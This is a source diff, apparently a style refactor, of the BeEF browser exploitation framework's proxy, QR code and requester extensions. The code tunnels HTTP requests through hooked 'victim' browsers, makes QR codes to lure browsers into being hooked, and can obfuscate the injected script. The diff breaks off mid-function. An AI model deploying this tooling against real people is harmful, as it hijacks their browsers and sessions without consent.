BeEF::Extension::Notifications::Channels::Pushover.new(message)
end
if @config.get('beef.extension.notifications.slack.enable') == true
BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message)
BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message) if @config.get('beef.extension.notifications.slack.enable') == true
end
end
end
end
end
end
end

View File

@@ -8,17 +8,16 @@ module BeEF
module Proxy
module API
module RegisterHttpHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start')
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
def self.pre_http_start(http_hook_server)
config = BeEF::Core::Configuration.instance
Thread.new{
http_hook_server.semaphore.synchronize{
Thread.new do
http_hook_server.semaphore.synchronize do
BeEF::Extension::Proxy::Proxy.new
}
}
end
end
print_info "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}"
end

View File

@@ -4,21 +4,19 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Proxy
extend BeEF::API::Extension
@short_name = 'proxy'
@full_name = 'proxy'
@description = 'The tunneling proxy allows HTTP requests to the hooked domain to be tunneled through the victim browser'
module Extension
module Proxy
extend BeEF::API::Extension
end
end
@short_name = 'proxy'
@full_name = 'proxy'
@description = 'The tunneling proxy allows HTTP requests to the hooked domain to be tunneled through the victim browser'
end
end
end
require 'extensions/requester/models/http'
#require 'extensions/proxy/models/http'
# require 'extensions/proxy/models/http'
require 'extensions/proxy/proxy'
require 'extensions/proxy/api'
require 'extensions/proxy/rest/proxy'

View File

@@ -9,7 +9,6 @@ module BeEF
module Extension
module Proxy
class Proxy
HB = BeEF::Core::Models::HookedBrowser
H = BeEF::Core::Models::Http
@response = nil
@@ -22,14 +21,14 @@ module BeEF
# setup proxy for SSL/TLS
ssl_context = OpenSSL::SSL::SSLContext.new
#ssl_context.ssl_version = :TLSv1_2
# ssl_context.ssl_version = :TLSv1_2
# load certificate
begin
cert_file = @conf.get('beef.extension.proxy.cert')
cert = File.read(cert_file)
ssl_context.cert = OpenSSL::X509::Certificate.new(cert)
rescue
rescue StandardError
print_error "[Proxy] Could not load SSL certificate '#{cert_file}'"
end
@@ -38,7 +37,7 @@ module BeEF
key_file = @conf.get('beef.extension.proxy.key')
key = File.read(key_file)
ssl_context.key = OpenSSL::PKey::RSA.new(key)
rescue
rescue StandardError
print_error "[Proxy] Could not load SSL key '#{key_file}'"
end
@@ -51,7 +50,7 @@ module BeEF
end
end
def handle_request socket
def handle_request(socket)
request_line = socket.readline
# HTTP method # defaults to GET
@@ -59,17 +58,15 @@ module BeEF
# Handle SSL requests
url_prefix = ''
if method == "CONNECT" then
if method == 'CONNECT'
# request_line is something like:
# CONNECT example.com:443 HTTP/1.1
host_port = request_line.split(" ")[1]
host_port = request_line.split[1]
proto = 'https'
url_prefix = proto + '://' + host_port
url_prefix = "#{proto}://#{host_port}"
loop do
line = socket.readline
if line.strip.empty?
break
end
break if line.strip.empty?
end
socket.puts("HTTP/1.0 200 Connection established\r\n\r\n")
socket.accept
@@ -77,13 +74,13 @@ module BeEF
request_line = socket.readline
end
method, path, version = request_line.split(" ")
method, _path, version = request_line.split
# HTTP scheme/protocol # defaults to http
proto = 'http' unless proto.eql?('https')
# HTTP version # defaults to 1.0
version = 'HTTP/1.0' if version !~ /\AHTTP\/\d\.\d\z/
version = 'HTTP/1.0' if version !~ %r{\AHTTP/\d\.\d\z}
# HTTP request path
path = request_line[/^\w+\s+(\S+)/, 1]
@@ -94,27 +91,23 @@ module BeEF
# We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors
# when sending attack vectors (see tolerant_parser)
# anti: somehow the config below was removed, have a look into this
tolerant_parser = URI::Parser.new(:UNRESERVED => BeEF::Core::Configuration.instance.get("beef.extension.requester.uri_unreserved_chars"))
tolerant_parser = URI::Parser.new(UNRESERVED: BeEF::Core::Configuration.instance.get('beef.extension.requester.uri_unreserved_chars'))
uri = tolerant_parser.parse(url.to_s)
uri_path_and_qs = uri.query.nil? ? uri.path : "#{uri.path}?#{uri.query}"
# extensions/requester/api/hook.rb parses raw_request to find port and path
raw_request = [method, uri_path_and_qs, version].join(' ') + "\r\n"
raw_request = "#{[method, uri_path_and_qs, version].join(' ')}\r\n"
content_length = 0
loop do
line = socket.readline
if line =~ /^Content-Length:\s+(\d+)\s*$/
content_length = $1.to_i
end
content_length = Regexp.last_match(1).to_i if line =~ /^Content-Length:\s+(\d+)\s*$/
if line.strip.empty?
# read data still in the socket, exactly <content_length> bytes
if content_length >= 0
raw_request += "\r\n" + socket.read(content_length)
end
raw_request += "\r\n#{socket.read(content_length)}" if content_length >= 0
break
else
raw_request += line
@@ -124,24 +117,28 @@ module BeEF
# Saves the new HTTP request to the db. It will be processed by the PreHookCallback of the requester component.
# IDs are created and incremented automatically by DataMapper.
http = H.new(
:request => raw_request,
:method => method,
:proto => proto,
:domain => uri.host,
:port => uri.port,
:path => uri_path_and_qs,
:request_date => Time.now,
:hooked_browser_id => self.get_tunneling_proxy,
:allow_cross_domain => "true"
request: raw_request,
method: method,
proto: proto,
domain: uri.host,
port: uri.port,
path: uri_path_and_qs,
request_date: Time.now,
hooked_browser_id: get_tunneling_proxy,
allow_cross_domain: 'true'
)
http.save
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}], cross domain[#{http.allow_cross_domain}]")
print_debug(
"[PROXY] --> Forwarding request ##{http.id}: " \
"domain[#{http.domain}:#{http.port}], " \
"method[#{http.method}], " \
"path[#{http.path}], " \
"cross domain[#{http.allow_cross_domain}]"
)
# Wait for the HTTP response to be stored in the db.
# TODO: re-implement this with EventMachine or with the Observer pattern.
while H.find(http.id).has_ran != "complete"
sleep 0.5
end
sleep 0.5 while H.find(http.id).has_ran != 'complete'
@response = H.find(http.id)
print_debug "[PROXY] <-- Response for request ##{@response.id} to [#{@response.path}] on domain [#{@response.domain}:#{@response.port}] correctly processed"
@@ -155,35 +152,37 @@ module BeEF
# Some of the original response headers need to be removed, like encoding and cache related: for example
# about encoding, the original response headers says that the content-length is 1000 as the response is gzipped,
# but the final content-length forwarded back by the proxy is clearly bigger. Date header follows the same way.
response_headers = ""
if (response_status != -1 && response_status != 0)
ignore_headers = [
"Content-Encoding",
"Keep-Alive",
"Cache-Control",
"Vary",
"Pragma",
"Connection",
"Expires",
"Accept-Ranges",
"Transfer-Encoding",
"Date"]
response_headers = ''
if response_status != -1 && response_status != 0
ignore_headers = %w[
Content-Encoding
Keep-Alive
Cache-Control
Vary
Pragma
Connection
Expires
Accept-Ranges
Transfer-Encoding
Date
]
headers.each_line do |line|
# stripping the Encoding, Cache and other headers
header_key = line.split(': ')[0]
header_value = line.split(': ')[1]
next if header_key.nil?
next if ignore_headers.any?{ |h| h.casecmp(header_key) == 0 }
if header_value.nil?
#headers_hash[header_key] = ""
else
# update Content-Length with the valid one
if header_key == "Content-Length"
response_headers += "Content-Length: #{response_body.size}\r\n"
else
response_headers += line
end
next if ignore_headers.any? { |h| h.casecmp(header_key).zero? }
# ignore headers with no value (@todo: why?)
next if header_value.nil?
unless header_key == 'Content-Length'
response_headers += line
next
end
# update Content-Length with the valid one
response_headers += "Content-Length: #{response_body.size}\r\n"
end
end
@@ -193,10 +192,8 @@ module BeEF
end
def get_tunneling_proxy
proxy_browser = HB.where(:is_proxy => true).first
unless proxy_browser.nil?
return proxy_browser.session.to_s
end
proxy_browser = HB.where(is_proxy: true).first
return proxy_browser.session.to_s unless proxy_browser.nil?
hooked_browser = HB.first
unless hooked_browser.nil?
@@ -211,4 +208,3 @@ module BeEF
end
end
end

View File

@@ -6,10 +6,8 @@
module BeEF
module Extension
module Proxy
# This class handles the routing of RESTful API requests for the proxy
class ProxyRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
config = BeEF::Core::Configuration.instance
@@ -27,68 +25,58 @@ module BeEF
# Use a specified hooked browser as proxy
post '/setTargetZombie' do
begin
body = JSON.parse(request.body.read)
hb_id = body['hb_id']
body = JSON.parse(request.body.read)
hb_id = body['hb_id']
result = {}
result['success'] = false
return result.to_json if hb_id.nil?
result = {}
result['success'] = false
return result.to_json if hb_id.nil?
hooked_browser = @hb.where(:session => hb_id).first
previous_proxy_hb = @hb.where(:is_proxy => true).first
hooked_browser = @hb.where(session: hb_id).first
previous_proxy_hb = @hb.where(is_proxy: true).first
# if another HB is currently set as tunneling proxy, unset it
unless previous_proxy_hb.nil?
previous_proxy_hb.update(:is_proxy => false)
print_debug("Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy")
end
# set the HB requested in /setTargetProxy as Tunneling Proxy
unless hooked_browser.nil?
hooked_browser.update(:is_proxy => true)
print_info("Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy")
result['success'] = true
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error setting browser as proxy (#{e.message})"
halt 500
# if another HB is currently set as tunneling proxy, unset it
unless previous_proxy_hb.nil?
previous_proxy_hb.update(is_proxy: false)
print_debug("Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy")
end
# set the HB requested in /setTargetProxy as Tunneling Proxy
unless hooked_browser.nil?
hooked_browser.update(is_proxy: true)
print_info("Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy")
result['success'] = true
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error setting browser as proxy (#{e.message})"
halt 500
end
# Raised when invalid JSON input is passed to an /api/proxy handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'.freeze
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
# Raised when an invalid named parameter is passed to an /api/proxy handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'.freeze
def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/proxy handler"
message = sprintf str, message unless message.nil?
str = 'Invalid "%s" parameter passed to /api/proxy handler'
message = format str, message unless message.nil?
super(message)
end
end
end
end
end
end

View File

@@ -4,17 +4,15 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Qrcode
extend BeEF::API::Extension
@short_name = 'qrcode'
@full_name = 'QR Code Generator'
@description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.'
module Extension
module Qrcode
extend BeEF::API::Extension
end
end
@short_name = 'qrcode'
@full_name = 'QR Code Generator'
@description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.'
end
end
end
require 'extensions/qrcode/qrcode'

View File

@@ -4,88 +4,89 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Qrcode
module Extension
module Qrcode
module QrcodeGenerator
BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start')
module QrcodeGenerator
def self.pre_http_start(_http_hook_server)
require 'uri'
require 'qr4r'
BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start')
def self.pre_http_start(http_hook_server)
require 'uri'
require 'qr4r'
fullurls = []
fullurls = []
# get server config
configuration = BeEF::Core::Configuration.instance
beef_proto = configuration.beef_proto
beef_host = configuration.beef_host
beef_port = configuration.beef_port
# get server config
configuration = BeEF::Core::Configuration.instance
beef_proto = configuration.beef_proto
beef_host = configuration.beef_host
beef_port = configuration.beef_port
# get URLs from QR config
configuration.get('beef.extension.qrcode.targets').each do |target|
# absolute URLs
if target.lines.grep(%r{^https?://}i).size.positive?
fullurls << target
# relative URLs
else
# network interfaces
BeEF::Core::Console::Banners.interfaces.each do |int|
next if int == '0.0.0.0'
# get URLs from QR config
configuration.get("beef.extension.qrcode.targets").each do |target|
# absolute URLs
if target.lines.grep(/^https?:\/\//i).size > 0
fullurls << target
# relative URLs
else
# network interfaces
BeEF::Core::Console::Banners.interfaces.each do |int|
next if int == "0.0.0.0"
fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}"
fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}"
end
# beef host
fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}" unless beef_host == '0.0.0.0'
end
end
# beef host
unless beef_host == "0.0.0.0"
fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}"
end
end
end
unless fullurls.empty?
img_dir = 'extensions/qrcode/images'
begin
Dir.mkdir(img_dir) unless File.directory?(img_dir)
rescue
print_error "[QR] Could not create directory '#{img_dir}'"
end
data = ''
fullurls.uniq.each do |target|
fname = ('a'..'z').to_a.shuffle[0,8].join
qr_path = "#{img_dir}/#{fname}.png"
return unless fullurls.empty?
img_dir = 'extensions/qrcode/images'
begin
qr = Qr4r::encode(
target, qr_path, {
:pixel_size => configuration.get("beef.extension.qrcode.qrsize"),
:border => configuration.get("beef.extension.qrcode.qrborder")
})
rescue
print_error "[QR] Could not write file '#{qr_path}'"
next
Dir.mkdir(img_dir) unless File.directory?(img_dir)
rescue StandardError
print_error "[QR] Could not create directory '#{img_dir}'"
end
print_debug "[QR] Wrote file '#{qr_path}'"
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/#{qr_path}", "/qrcode/#{fname}", 'png')
data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n"
data += "- URL: #{target}\n"
# Google API
#url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
#w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
#h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
#data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n"
# QRServer.com
#url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
#w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
#h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
#data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n"
end
print_info "QR code images available:"
print_more data
end
end
end
end
end
data = ''
fullurls.uniq.each do |target|
fname = ('a'..'z').to_a.sample(8).join
qr_path = "#{img_dir}/#{fname}.png"
begin
Qr4r.encode(
target, qr_path, {
pixel_size: configuration.get('beef.extension.qrcode.qrsize'),
border: configuration.get('beef.extension.qrcode.qrborder')
}
)
rescue StandardError
print_error "[QR] Could not write file '#{qr_path}'"
next
end
print_debug "[QR] Wrote file '#{qr_path}'"
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/#{qr_path}", "/qrcode/#{fname}", 'png'
)
data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n"
data += "- URL: #{target}\n"
# Google API
# url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
# w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
# h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
# data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n"
# QRServer.com
# url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
# w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
# h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
# data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n"
end
print_info 'QR code images available:'
print_more data
end
end
end
end
end

View File

@@ -4,25 +4,25 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Requester
module RegisterHttpHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
def self.mount_handler(beef_server)
beef_server.mount('/requester', BeEF::Extension::Requester::Handler)
beef_server.mount('/api/requester', BeEF::Extension::Requester::RequesterRest.new)
end
end
module Extension
module Requester
module RegisterHttpHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
module RegisterPreHookCallback
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
def self.mount_handler(beef_server)
beef_server.mount('/requester', BeEF::Extension::Requester::Handler)
beef_server.mount('/api/requester', BeEF::Extension::Requester::RequesterRest.new)
end
end
def self.pre_hook_send(hooked_browser, body, params, request, response)
dhook = BeEF::Extension::Requester::API::Hook.new
dhook.requester_run(hooked_browser, body)
module RegisterPreHookCallback
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
def self.pre_hook_send(hooked_browser, body, _params, _request, _response)
dhook = BeEF::Extension::Requester::API::Hook.new
dhook.requester_run(hooked_browser, body)
end
end
end
end
end
end
end

View File

@@ -8,10 +8,8 @@ module BeEF
module Extension
module Requester
module API
require 'uri'
class Hook
include BeEF::Core::Handlers::Modules::BeEFJS
# If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
@@ -21,33 +19,30 @@ module BeEF
# Generate all the requests and output them to the hooked browser
output = []
print_debug hb.to_json
BeEF::Core::Models::Http.where(:hooked_browser_id => hb.session, :has_ran => "waiting").each { |h|
output << self.requester_parse_db_request(h)
}
BeEF::Core::Models::Http.where(hooked_browser_id: hb.session, has_ran: 'waiting').each do |h|
output << requester_parse_db_request(h)
end
return if output.empty?
config = BeEF::Core::Configuration.instance
ws = BeEF::Core::Websocket::Websocket.instance
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
end
evasion = BeEF::Extension::Evasion::Evasion.instance if config.get('beef.extension.evasion.enable')
# todo antisnatchor: prevent sending "content" multiple times.
# TODO: antisnatchor: prevent sending "content" multiple times.
# Better leaving it after the first run, and don't send it again.
# todo antisnatchor: remove this gsub crap adding some hook packing.
# If we use WebSockets, just reply wih the component contents
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('//
if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path('beef.net.requester')).gsub('//
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file \'doc/COPYING\' for copying permission
//', "")
//', '')
add_to_body output
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
ws.send(evasion.obfuscate(content) + @body, hb.session)
else
ws.send(content + @body, hb.session)
@@ -64,7 +59,7 @@ module BeEF
def add_to_body(output)
config = BeEF::Core::Configuration.instance
req = %Q{
req = %{
beef.execute(function() {
beef.net.requester.send(
#{output.to_json}
@@ -72,7 +67,7 @@ module BeEF
});
}
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(req)
else
@@ -86,7 +81,6 @@ module BeEF
# The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function
# and finally sent to and executed by the hooked browser.
def requester_parse_db_request(http_db_object)
allow_cross_domain = http_db_object.allow_cross_domain.to_s
verb = http_db_object.method.upcase
proto = http_db_object.proto.downcase
@@ -98,71 +92,65 @@ module BeEF
@host = http_db_object.domain
@port = http_db_object.port
print_debug "http_db_object:"
print_debug 'http_db_object:'
print_debug http_db_object.to_json
#@note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
# @note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
req_parts.each_with_index do |value, index|
if value.match(/^Content-Length:\s+(\d+)/)
@content_length = Integer(req_parts[index].split(/:\s+/)[1])
end
@content_length = Integer(req_parts[index].split(/:\s+/)[1]) if value.match(/^Content-Length:\s+(\d+)/)
if value.eql?("") or value.strip.empty? # this will be the CRLF (before HTTP request body)
@post_data_index = index
end
@post_data_index = index if value.eql?('') || value.strip.empty? # this will be the CRLF (before HTTP request body)
end
#@note: add HTTP request headers to an Hash
# @note: add HTTP request headers to an Hash
req_parts.each_with_index do |value, index|
if verb.eql?('POST')
if index > 0 and index < @post_data_index #only add HTTP headers, not the verb/uri/version or post-data
header_key = value.split(/: /)[0]
header_value = value.split(/: /)[1]
headers[header_key] = header_value
end
else
if index > 0 #only add HTTP headers, not the verb/uri/version
header_key = value.split(/: /)[0]
header_value = value.split(/: /)[1]
headers[header_key] = header_value
if index.positive? && (index < @post_data_index) # only add HTTP headers, not the verb/uri/version or post-data
header_key = value.split(/: /)[0]
header_value = value.split(/: /)[1]
headers[header_key] = header_value
end
elsif index.positive?
header_key = value.split(/: /)[0]
header_value = value.split(/: /)[1]
headers[header_key] = header_value # only add HTTP headers, not the verb/uri/version
end
end
# set default port if nil
if @port.nil?
if uri.to_s =~ /^https?/
# absolute
(uri.match(/^https:/)) ? @port = 443 : @port = 80
else
# relative
(proto.eql?('https')) ? @port = 443 : @port = 80
end
@port = if uri.to_s =~ /^https?/
# absolute
uri.match(/^https:/) ? 443 : 80
else
# relative
proto.eql?('https') ? 443 : 80
end
end
# Build request
http_request_object = {
'id' => http_db_object.id,
'method' => verb,
'proto' => proto,
'host' => @host,
'port' => @port,
'uri' => uri,
'headers' => headers,
'id' => http_db_object.id,
'method' => verb,
'proto' => proto,
'host' => @host,
'port' => @port,
'uri' => uri,
'headers' => headers,
'allowCrossDomain' => allow_cross_domain
}
# Add POST request data
if not @content_length.nil? and @content_length > 0
if !@content_length.nil? && @content_length.positive?
post_data_sliced = req_parts.slice(@post_data_index + 1, req_parts.length)
@post_data = post_data_sliced.join
http_request_object['data'] = @post_data
end
#@note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
headers.keys.each { |key| http_request_object['headers'][key] = headers[key] }
print_debug "result http_request_object"
# @note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
headers.each_key { |key| http_request_object['headers'][key] = headers[key] }
print_debug 'result http_request_object'
print_debug http_request_object.to_json
http_request_object

View File

@@ -4,11 +4,10 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Requester
end
end
module Extension
module Requester
end
end
end
require 'extensions/requester/models/http'

View File

@@ -6,12 +6,10 @@
module BeEF
module Extension
module Requester
#
# The http handler that manages the Requester.
#
class Handler
H = BeEF::Core::Models::Http
Z = BeEF::Core::Models::HookedBrowser
@@ -24,39 +22,48 @@ module BeEF
# validates the hook token
beef_hook = @data['beefhook'] || nil
if beef_hook.nil?
print_error "beefhook is null"
print_error 'beefhook is null'
return
end
# validates the request id
request_id = @data['cid'].to_s
if request_id == ''
print_error "Original request id (command id) is null"
print_error 'Original request id (command id) is null'
return
end
if !BeEF::Filters::nums_only?(request_id)
print_error "Original request id (command id) is invalid"
unless BeEF::Filters.nums_only?(request_id)
print_error 'Original request id (command id) is invalid'
return
end
# validates that a hooked browser with the beef_hook token exists in the db
zombie_db = Z.where(:session => beef_hook).first || nil
(print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil?
zombie_db = Z.where(session: beef_hook).first || nil
if zombie_db.nil?
(print_error 'Invalid beefhook id: the hooked browser cannot be found in the database'
return)
end
# validates that we have such a http request saved in the db
http_db = H.where(:id => request_id.to_i, :hooked_browser_id => zombie_db.session).first || nil
http_db = H.where(id: request_id.to_i, hooked_browser_id: zombie_db.session).first || nil
if http_db.nil?
print_error "Invalid http_db: no such request found in the database"
print_error 'Invalid http_db: no such request found in the database'
return
end
# validates that the http request has not been run before
(print_error "This http request has been saved before";return) if http_db.has_ran.eql? "complete"
if http_db.has_ran.eql? 'complete'
(print_error 'This http request has been saved before'
return)
end
# validates the response code
response_code = @data['results']['response_status_code'] || nil
(print_error "Http response code is null";return) if response_code.nil?
if response_code.nil?
(print_error 'Http response code is null'
return)
end
# save the results in the database
http_db.response_headers = @data['results']['response_headers']
@@ -65,13 +72,11 @@ module BeEF
http_db.response_port_status = @data['results']['response_port_status']
http_db.response_data = @data['results']['response_data']
http_db.response_date = Time.now
http_db.has_ran = "complete"
http_db.has_ran = 'complete'
# Store images as binary
# see issue https://github.com/beefproject/beef/issues/449
if http_db.response_headers =~ /Content-Type: image/
http_db.response_data = http_db.response_data.unpack('a*')
end
http_db.response_data = http_db.response_data.unpack('a*') if http_db.response_headers =~ /Content-Type: image/
http_db.save
end

View File

@@ -4,23 +4,28 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
#
# Table stores the http requests and responses from the requester.
#
class Http < BeEF::Core::Model
#
# Removes a request/response from the data store
#
def self.delete(id)
(print_error "Failed to remove response. Invalid response ID."; return) if id.to_s !~ /\A\d+\z/
r = BeEF::Core::Models::Http.find(id.to_i)
(print_error "Failed to remove response [id: #{id}]. Response does not exist."; return) if r.nil?
r.destroy
module Core
module Models
#
# Table stores the http requests and responses from the requester.
#
class Http < BeEF::Core::Model
#
# Removes a request/response from the data store
#
def self.delete(id)
if id.to_s !~ /\A\d+\z/
(print_error 'Failed to remove response. Invalid response ID.'
return)
end
r = BeEF::Core::Models::Http.find(id.to_i)
if r.nil?
(print_error "Failed to remove response [id: #{id}]. Response does not exist."
return)
end
r.destroy
end
end
end
end
end
end
end

View File

@@ -6,10 +6,8 @@
module BeEF
module Extension
module Requester
# This class handles the routing of RESTful API requests for the requester
class RequesterRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
config = BeEF::Core::Configuration.instance
@@ -29,264 +27,233 @@ module BeEF
# Returns a request by ID
get '/request/:id' do
begin
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
requests = H.find(id)
halt 404 if requests.nil?
requests = H.find(id)
halt 404 if requests.nil?
result = {}
result[:count] = requests.length
result[:requests] = []
requests.each do |request|
result[:requests] << request2hash(request)
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving request with id #{id} (#{e.message})"
halt 500
result = {}
result[:count] = requests.length
result[:requests] = []
requests.each do |request|
result[:requests] << request2hash(request)
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving request with id #{id} (#{e.message})"
halt 500
end
# Returns all requestes given a specific hooked browser id
get '/requests/:id' do
begin
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id)
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id)
requests = H.where(:hooked_browser_id => id)
halt 404 if requests.nil?
requests = H.where(hooked_browser_id: id)
halt 404 if requests.nil?
result = {}
result[:count] = requests.length
result[:requests] = []
requests.each do |request|
result[:requests] << request2hash(request)
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})"
halt 500
result = {}
result[:count] = requests.length
result[:requests] = []
requests.each do |request|
result[:requests] << request2hash(request)
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})"
halt 500
end
# Return a response by ID
get '/response/:id' do
begin
# super debugging
# super debugging
error = {}
error = {}
error[:code] = 0
error[:code]=0
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
error[:code]=1
error[:code] = 1
responses = H.find(id) || nil
error[:code]=2
halt 404 if responses.nil?
error[:code]=3
result = {}
result[:success] = 'true'
error[:code]=4
responses = H.find(id) || nil
error[:code] = 2
halt 404 if responses.nil?
error[:code] = 3
result = {}
result[:success] = 'true'
error[:code] = 4
result[:result] = response2hash(responses)
error[:code]=5
result[:result] = response2hash(responses)
error[:code] = 5
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving response with id #{id} (#{e.message})"
error[:id] = id
error[:message] = e.message
error.to_json
# halt 500
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving response with id #{id} (#{e.message})"
error[:id] = id
error[:message] = e.message
error.to_json
# halt 500
end
# Deletes a specific response given its id
delete '/response/:id' do
begin
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
responses = H.find(id) || nil
halt 404 if responses.nil?
responses = H.find(id) || nil
halt 404 if responses.nil?
result = {}
result['success'] = H.delete(id)
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing response with id #{id} (#{e.message})"
halt 500
end
result = {}
result['success'] = H.delete(id)
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while removing response with id #{id} (#{e.message})"
halt 500
end
# Send a new HTTP request to the hooked browser
post '/send/:id' do
begin
id = params[:id]
proto = params[:proto].to_s || 'http'
raw_request = params['raw_request'].to_s
id = params[:id]
proto = params[:proto].to_s || 'http'
raw_request = params['raw_request'].to_s
zombie = HB.where(:session => id).first || nil
halt 404 if zombie.nil?
